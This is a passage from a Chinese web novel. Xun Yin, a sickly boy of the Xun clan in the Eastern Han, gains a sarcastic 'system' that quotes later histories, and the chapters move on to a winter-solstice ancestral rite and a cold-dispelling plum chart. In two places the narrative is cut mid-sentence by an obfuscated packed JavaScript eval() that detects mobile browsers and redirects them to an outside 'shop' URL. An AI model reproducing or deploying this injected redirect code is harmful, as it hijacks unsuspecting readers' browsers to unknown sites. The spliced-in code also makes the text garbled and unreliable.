听到荀愔的声音,光团身形一滞,像是下定了某种决心一样奋力一搏,埋头往荀愔的方向冲去。 荀愔大惊后退,却已经来不及,他眼睁睁地看着那光团没入自己胸口,消失不见。 “啊——” 荀愔满头大汗地从榻上坐起,手掌下意识摸向自己胸口,并未发觉出什么异样,只有左胸中的心脏因为过于激烈的情绪有些闷痛,却还算是正常。 荀彧一向觉轻,今夜虽然因为睡在兄长身边,闻着他身上的药气睡得沉了一些,但身边突然有了响动,他还是下意识地睁开了眼,在看见俯身捂住胸口的荀愔时瞬间清醒。 荀彧慌乱地爬起来。 “阿兄,你怎么了!你别吓我!阿昭!” 11. 系统出现 心疾发作引起的耳鸣声响彻天地,荀愔抬头时只能看见荀彧的嘴巴在动,却听不见他的声音,他茫然地看了他片刻,才从唇形之中读出他的意思,刚想抬头安慰一句,然而话还没出口,脑海里先响起了似曾相识的声音。 【检测到状态为已绑定,系统开始运行】 【您坏,N9系统很不高兴遇见您,请问有什么不需要我帮您?】 荀愔:? 荀愔虽然听不到外界的声音,但是眼神还好,一把抓住要去喊人来的荀彧,对他摇头:“我没事,不要惊动旁人。” 然而这话刚一出口就惨遭系统打脸。 【检测到宿主身体状况为:极差,自动抽取新手大礼包】 声音刚落,眼前突兀出现了一张转盘,像是有一双无形的手将其推动,转盘转动时,机括声哒哒哒哒地响个不停,直到指针指到名为“锁血”的一格时才堪堪停下。 【锁血(6/6h):在宿主血量小于或等于血条总量30%时发挥作用,状态持续时效内,宿主不因病痛、伤口等负面状态导致血量降低,时效为0或手动关闭时该状态清除】 【检测到宿主血量处于30%以上,该状态暂时无法开启,是否继续抽取?】 荀愔盯着那个小小的“锁血”图标看了片刻,鬼使神差地选择了再次抽取。 【抽取失败,您的抽取机会已用尽,是否选择打开蓝绿修改器?】 虽然不知道蓝绿修改器是什么,但荀愔选择了“打开”。 【警告:跳转失败,指定页面不存在】 【温馨提示:这里是东汉,哪里来的蓝绿修改器:),希望宿主好好做人,不要驴我。】 这不是你提的吗??! 耳鸣声渐渐衰弱,还处于震惊之中的荀愔终于听见了荀彧的呼喊声。 “阿昭!能听见我说话吗?阿昭!” 荀愔看向荀彧。 “我已经让人去叫医工了!阿昭,你坚持住!” 荀愔想说我真的没事,但不知为什么,当与弟弟的灼灼目光相对时,这话怎么也无法说出口,只好岔开话题,问他:“你刚才有听见什么声音吗?” 荀彧疑惑皱眉:“你指什么?” 风声、树叶声、虫鸣声,高阳里的夜里也不是全然安静,只是不知荀愔说的是哪种声音? “人说话的声音,音色不辨雌雄,声调也有些死板。” 荀彧摇头,目中担忧之色更甚。 坏了,子不语怪力乱神果然是对的,荀愔捂住了脸,有些绝望地想,自己难道就因为讲了个鬼故事就要真的遇见鬼怪吗? 鬼怪难道不知道什么叫叶公好龙吗? 荀愔的沉默让荀彧不知道想到了什么,脸色变得有些发白,为了避免他下半夜做噩梦,荀愔不得不干笑几声,强作镇定:“没事,你不必害怕。我刚刚只是做了梦,还没反应过来,现在清醒了。” 荀彧并不相信,追问道:“那阿兄做了什么梦,可否详说?我最近在大兄那里看了许多六叔父送回来的易经解,或许可解阿兄之忧。” 荀彧口中的六叔父便是在党锢之祸之中获罪,隐居于海上多年不归的大儒,荀爽荀慈明。 荀愔明白他这是在警告自己不要胡乱编瞎话敷衍,他虽然年纪小,却并不痴傻,听得出来。 家中聪明人遍地走的后果就是这样,连小自己一岁的弟弟都能威胁他一下,荀愔叹了一口气,只好捡着能说的说了。 “我梦见自己行走于东海之滨,月夜之中忽有大星入怀。如何,六伯父送回来的书籍里可有说此梦做何解吗?” 荀愔戏谑地看着弟弟,见他露出纠结神色,忍不住扑哧笑了出来。 “我若是妇人,此时腹中就该怀有天命贵子了。” 按照长久以来形成的解梦习惯,星月入怀乃是贵子降生之兆,黄帝轩辕氏被这样附会过,王昭君也被这样附会过,并且可以预见的是,以时下这种天人感应之说盛行,世人不管干什么事都得往谶纬上扯的风气,这种事还会继续出现。 荀彧:“……” 荀彧险些气笑,平日里在仲豫大兄那里学易时不见阿兄思维如此敏捷,倒是在这种偏门梦解上格外用心! 【《搜神记》有载,孙坚妇人吴氏,孕而梦月入怀。已而生策。及权在孕,又梦日入怀。以告坚曰:“妾昔怀策,梦月入怀;今又梦日,何也?”坚曰:“日月者,阴阳之精,极贵之象,吾子孙其兴乎。”】 系统的声音来得突然,将荀愔惊了一跳,然而细细看去,不由直呼好家伙,在心中颇感兴趣地问系统:“孙坚是谁?《搜神记》又是何人所书,怎么我从未听过?” 那个自称系统的诡异东西没有回应,而是默默地甩出了一张熟悉的转盘。 【恭喜宿主首次触发“书载”一则,获得一次抽取机会,是否抽取?】 好奇心驱使之下,荀愔点击了“是”,然后在一番眼花缭乱之后,看见指针晃晃悠悠地掠过一排诸如“贯微洞密”、“我的眼睛就是尺”、“床下牛斗”等奇奇怪怪的标签,然后……指向了一处不大不小的空白。 【温馨提示:非常遗憾呢,单抽并不会出现奇迹,劝宿主有点自知之明,放弃欧皇幻想,直面非酋人生:)】 虽然荀愔听不懂是什么意思,但只看这语气和那个奇奇怪怪的符号就知道不是什么好话! 意识中与系统的交流放在现实世界不过是几瞬,荀愔和弟弟交谈几句,居住在里闾之中的医工便已经被匆忙请到了家中。 荀愔这边出了事,难免惊动只有一墙之隔的荀肃,他随医工一同赶来,推门之后见到荀彧也在时并没有表现出诧异,只是在医工为荀愔搭脉时摸了摸荀彧的头,轻声道:“今日之事,叔父要谢谢你。” 荀彧摇头辞受:“兄长突发疾病,寻常人都无法坐视不理。此彧应尽之义,大人又何必言谢?” 荀肃叹了一口气:“岂能不谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412182|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若非你坚持要请医工,他今日就自己强忍下去了。” 自己的儿子自己知道,看着有数,实则最会逞强,为了避免父亲担心,若非到了危及生死时不会请医工,这段时日不知忍过了多少次发作。 荀愔的隐瞒做父亲的都知道,只是为了避免孩子心生负累,他也只好假作不知。 两人说话时,荀愔便躺在榻上,百无聊赖地盯着那条系统弹出的消息看,试图从中看出一朵花来。 搭脉看诊、抓药煎药,医工一来他便不用睡觉了,起码要折腾到后半夜去,这也是荀愔不想惊动旁人的原因之一。 何必呢?这病麻烦得很,又无法根治,就算医工来了,至多也不过是给他开碗药,让他昏睡过去,其他的什么做不了。而他偏偏讨厌那种喝药之后身不由己的困乏感,宁愿清醒着疼,也不想一无所知。 荀肃对荀彧道:“时间太晚了,你还小,不能熬夜,叔父先送你去别处休息如何?” 荀彧摇头,想说不必,但荀肃问这话显然不是在征求他的意见,很快让人将他带了出去,自己走到荀愔的榻边坐下。 等到医工诊完脉,拿着方子去煮药后,荀肃方才出声:“你的病最忌心绪起伏不定,从前我不因你的脾性对你施加管教,可如今却不行了。阿昭,若想长久地活下去,你需得戒急戒躁。” 荀愔默然点头:“是。” 荀肃心中亦很难过,见他如此不忍多说什么,只好伸手给他掖了掖被角。 “别怕,孩子。”荀肃宽慰他说,“你母亲族中亦有身患心疾之人,那人知天达命,一生与山水为伴,竟也活了五十有七,比之许多寻常人还要长寿呢。” 荀愔看向父亲,轻声道:“他没有出仕吗?” 回应他的是荀肃的沉默,荀愔于是明白了。 “大人,我知道了。” 荀愔迎上荀肃略微怔忡的目光,笑了笑,重复道:“我知道的。” 荀肃想说你知道什么?你还这么小,知道了就甘心这么做吗? “我会奉养大人终老,绝不逾矩冒险,使大人白发人送黑发人。”荀愔认真承诺。 荀肃敏锐地觉察了话中的漏洞,想问那我身故之后呢?我身故之后,没有了白发人送黑发人的隐忧,你就可以冒险了吗? 然而话未出口,叹息已至。他还能说什么呢? 纵使知道不入仕途才是养生长寿之道,然而世间有几人甘心如此? 《左氏春秋》有云“凡有血气,皆有争心”,两次党锢之祸牵连了多少家族,造成了多少血腥,如此都断绝不了士人的出仕之念,他的孩子凭什么要因疾病虚耗一身才华,一世光阴? 儒道乃是经世致用之学,若不能出仕,所学便皆是无根之萍、无本之木。一念至此,荀肃竟然觉得党锢也未必全然是坏事,起码在可见的未来里,荀愔还不必为举孝廉、为家族下一代殚精竭虑。 只要皇帝顶得住士人的压力,只要他顶得住。 12. 冬至祭祖 【《四民月令》有载,冬至之日进酒肴,贺谒君师耆老,一如正月。】 进入冬季之后,冬至日是第一个大日子,被时人认为是阴气最盛、阳气始发之时,在汉武帝施行《太初历》,根据天文观测和计算将岁首确定为正月元日之前,冬至作为一阳之首才是世人认定的一年的开始。 这一天,身处雒阳的天子要祭天礼神,庶民之家也要向水神玄冥与先祖先父奉上黍羊之物。 荀氏宗族之中实际的大家长荀绲在经过数日斋戒之后,先走完了向祖先奉送牺牲的流程,次日领着家中子弟上坟祭祀。 这一日风有些大,但无论年长年幼,但凡身在高阳里、能赶得回来的子弟都要按照辈次,顶着寒风站在略有些空旷的祖坟之前,听荀绲捧着一卷竹书念长得略有些出奇的祭文。 时下小儿长成不易,又疫病频发,各家基本上都有夭折的孩子,所以从前的序齿多有疏漏模糊之处,冬至日是大节日,所有子弟都要参与,荀绲便借着这个机会为族中子弟重排了序齿。 从神君荀淑这一脉往下排,荀愔行九,从颍阴荀氏先君一脉往下排,荀愔行二十七,从这序齿也能看出,荀氏虽在本地声望不浅,在人数上却也算不得什么大族。 这也正常,荀氏虽是荀子之后,以典籍传家,但真正从儒生转为文官家族还是在荀淑在时,借助贤人李膺之口进入世人眼中,人口底蕴上确实差了一些。 【突发:熹平元年十一月,会稽郡人许昌自称“越王”,聚万人于句章起事。】 【恭喜宿主首次触发“突发”一则,获得一次抽取机会,是否抽取?】 荀愔敛目低首,一副端庄严肃之态,像是真的在认真聆听祭文,任谁也没看出他那一瞬的出神,直到荀绲兄弟几人先行了祭祖之礼,又将下一辈子弟一个个叫上前去。 “荀俭之子悦。” 一辈之中的长兄荀悦前趋伏拜于地,口称敬之。 “荀昙之子衢……荀绲之子衍、荀靖之子琨……荀绲之子谌。” “敬之。” 寒风中,几人身着礼服,恭敬地跟随荀悦拜倒于地,丝毫不在意衣摆处沾到的薄薄尘土。 “荀肃之子愔。” 荀愔出列,跟在兄长身后拜倒,未经变声期的嗓音仍旧带着未脱的稚气,寒风中清晰可辨。 “敬之。” “荀绲之子彧。” 身后响起衣袍摩擦之声。 “敬之。” 荀绲念罢,看着一众子侄在荀悦的带领下行礼,如芝兰生于庭阶,不由得生出几分欣慰。 等众子弟起身,荀绲殷切叮嘱:“望尔等承先祖之志,勤修德性,怀常棣之爱,守望互助,彼此扶持。 “谨记‘常棣之华,鄂不韡韡。凡今之人,莫如兄弟’。” 众荀应是,齐声道:“谨受教。” 冬至日的祭祀本就是为了凝聚宗族之心而举办,天灾人祸频发的年代里,抱团取暖是人的本能。 荀绲将族中每一个孩子都叫到了近前,令他们行过礼后,这场祭祀才宣告结束,诸荀各回各家,向在世长辈敬献椒酒。 荀愔的祖父荀淑不仅于经义上扬名,在生孩子和教养孩子上也是个强人,不仅足足生了八个儿子,且个个成才,并称荀氏八龙,其中除了大龙荀俭已经去世,六龙荀爽被列入党人隐匿在外,其余六人都在高阳里,几家的孩子得举着椒酒一个个地献过去。 也是在献过椒酒之后荀愔才有空去看那条在祭祖时弹出来,差点让他落下个不敬祖先罪名的消息。 会稽郡有人聚众谋反? 荀愔认真地思索了一下会稽郡在哪里,然后发觉这个所谓反贼的起事地点根本威胁不到雒阳朝廷。 无他,只是因为会稽隶属扬州,位在长江以南,整个大汉版图的东南角。 这时候的江南尚且不是后世那种繁华富庶之地,虽然会稽一郡占地颇广,同为郡制,能塞下十多个颍川郡,但人口稀少,即便叛军占据了全郡,也不可能从南打到北。 距离大汉政治经济中心如此遥远的一场叛乱,即便领头人聚集了万人之众,但对于整个大汉而言也不过是地方疥癣之疾,威胁不到大局。 虽然不知道为什么系统会特意提起这个,但这不失为一个机会,可以验证系统消息的真伪。 天下书海茫茫,荀愔不能确定是否会有哪个角落里藏着《搜神记》和《四时月令》,但却能通过各种途径了解是否真的有一场叛乱在会稽发生。 【您有一次抽取机会,是否抽取?】 荀愔勾起唇角,以为他还会犯第一次的错误,再让系统嘲笑一次吗? 哼! 否。我就不抽。 冬至之后便进入真正寒冷的时节,荀愔不仅惧热,而且惧寒,往年一旦到了这种时候便不肯出门,今年也一样,但不同的是,今年他的脑子里多了个会说话,时不时弹出些他不知道的消息的奇怪东西。 【《荆楚岁时记》有载,“俗用冬至日数及九九八十一日,为寒尽”,该种习俗被称之为“数九”,说明最早从南北朝时期,民间就已有从冬至日开始数九,历经九九八十一天,认为寒冷的日子结束的风俗。】 荀愔本来在做木工活,看见“南北朝”三个字时差点没削到自己的手指。 虽说他早就从系统一出现时就提到的“东汉”一词发觉汉室没能千秋万代——以如今前后两任皇帝的德行而言这很正常,但这突兀出现的南北朝还是把他惊了一跳。 起码演一演啊,遮掩一下,就这么大喇喇地放出来,这叫做系统的东西真不怕泄露天机吗? 不过先有东西汉,再有南北朝,后世这么喜欢用方位给前朝命名? 【《帝京景物略》有载,“日冬至,画素梅一枝,为瓣八十有一,日染一瓣,瓣尽而九九出,则春深矣,曰九九消寒图。”此种玩法系“数九”之延续。】 在图上画梅花图样,自冬至日起每日给一朵梅花填色,填尽九九八十一朵,时间便已经到了春日,这听起来是个很有士族风范的风雅习俗。 荀愔眨眨眼,突然觉得这系统有些可爱。 “你弹了这么多字,就是为了给我介绍这种叫做消寒图的消遣?” 没人回答,系统也仿若不存在。 “好吧。”荀愔放下手中的半成品,准备成全系统的好意,翻出了极少使用的缣帛,思考着应该在何处落笔。 【温馨提示:或许,您可以使用纸:)】 荀愔突然领会了那个奇奇怪怪符号的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412183|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思,于是也回之以假笑。 “左伯纸吗?我家小门小户,用不起。” 【温馨提示:左伯纸?不是蔡侯纸吗?】 荀愔一愣,继而反应过来,原来这东西也不是无所不知无所不能的,心里这么想着,脸上的笑容便不由真实几分。 “你所说蔡侯是和帝时的中常侍蔡氏?那种纸因为不易书写,轻薄易碎故而极少有人使用,左伯纸虽没有那些毛病,却因为产量稀少,千金难得,多供给朝中贵胄,故而我这里没有。” 【温馨提示:……啊哦。】 荀愔不懂它在啊哦什么,只是与系统说话的功夫,一个分神,手下的梅枝便就这么偏斜了出去,歪歪扭扭像一条死去不久还僵硬着的死蛇。 看了这道墨迹许久,荀愔决定放过自己,愉快地拿起缣帛去寻求兄长们的帮助。 荀谌听了荀愔关于九九消寒图的描述之后,觉得这想法颇有趣,抬笔先把荀愔的那一处败笔用墨遮掩去,再细细分出枝条和梅花。 以消寒图而言,荀谌的画技已然足够,但他仿佛还不甚满意。 “若是你伯襄兄长在这里,画得一定比我好。” 伯襄?荀愔一时没想起来这是谁,露出几分疑惑。 荀谌补充:“就是六叔父家中的荀棐,前不久定下的序齿中他行五,你该叫他五兄。他离家时你还小,这些年六叔父藏匿在外不敢回家,他身为儿子一直侍奉在侧,没回来过,你记不清也正常。” 荀愔点点头,想起什么又问:“六叔父真的不打算回来了吗?距离建宁二年已经过去四年了,马上要到第五年,朝廷似乎没有抓着不放的意思,而且以家中声望,六叔父便是回来了也不会有人揭发。” 荀谌摇头:“事情不能这么算,叔父他毕竟背着个党人名头,这种事,朝廷不想管时自然不举不究,可一旦认真起来,便有可能重蹈张元节当年之祸。” 张元节便是名士张俭,他在建宁二年的党锢之中被朝廷通缉,被迫逃亡,路途中许多人家因敬重其品行收留他,却因此被宦官报复,遭受破家之祸,连他所经过的郡县也被牵连。 系统似乎检测到了他们在说什么,应景地弹出一则。 【《后汉书.党锢列传》有载,张俭逃亡途中,望门投止,“其所经历,伏重诛者以十数,宗亲并皆殄灭,郡县为之残破”,其路过鲁国时为孔融所收留,事情泄露之后郡县问罪其家,孔融与其母、其兄争相就死,传为美谈。】 后汉书……这是演都不演了是吧? 自来修史都是后朝为前朝修,倘若刘姓不失去天下,哪里来的后汉书? 荀愔心中的无语没能传递给荀谌,荀谌等墨迹晾干之后卷起缣帛,又道。 “不过你也不必太过担心,叔父在外有儿女侍奉身边,据说过得还不错,他不是个会受困于时势,平白自苦的人。年后大兄也预备带着族中准备的财货悄悄去看他。” 这便是有宗族有兄弟的好处了,当家的是自己的亲兄长,得力的子侄是自己的亲侄子,即便流亡在外也有人为其打点。 “要装裱一下,挂起来吗?”荀谌问,“你说要每日填一朵花的色,挂起来岂不是更方便?” 荀愔点头,声音轻快。 “要。”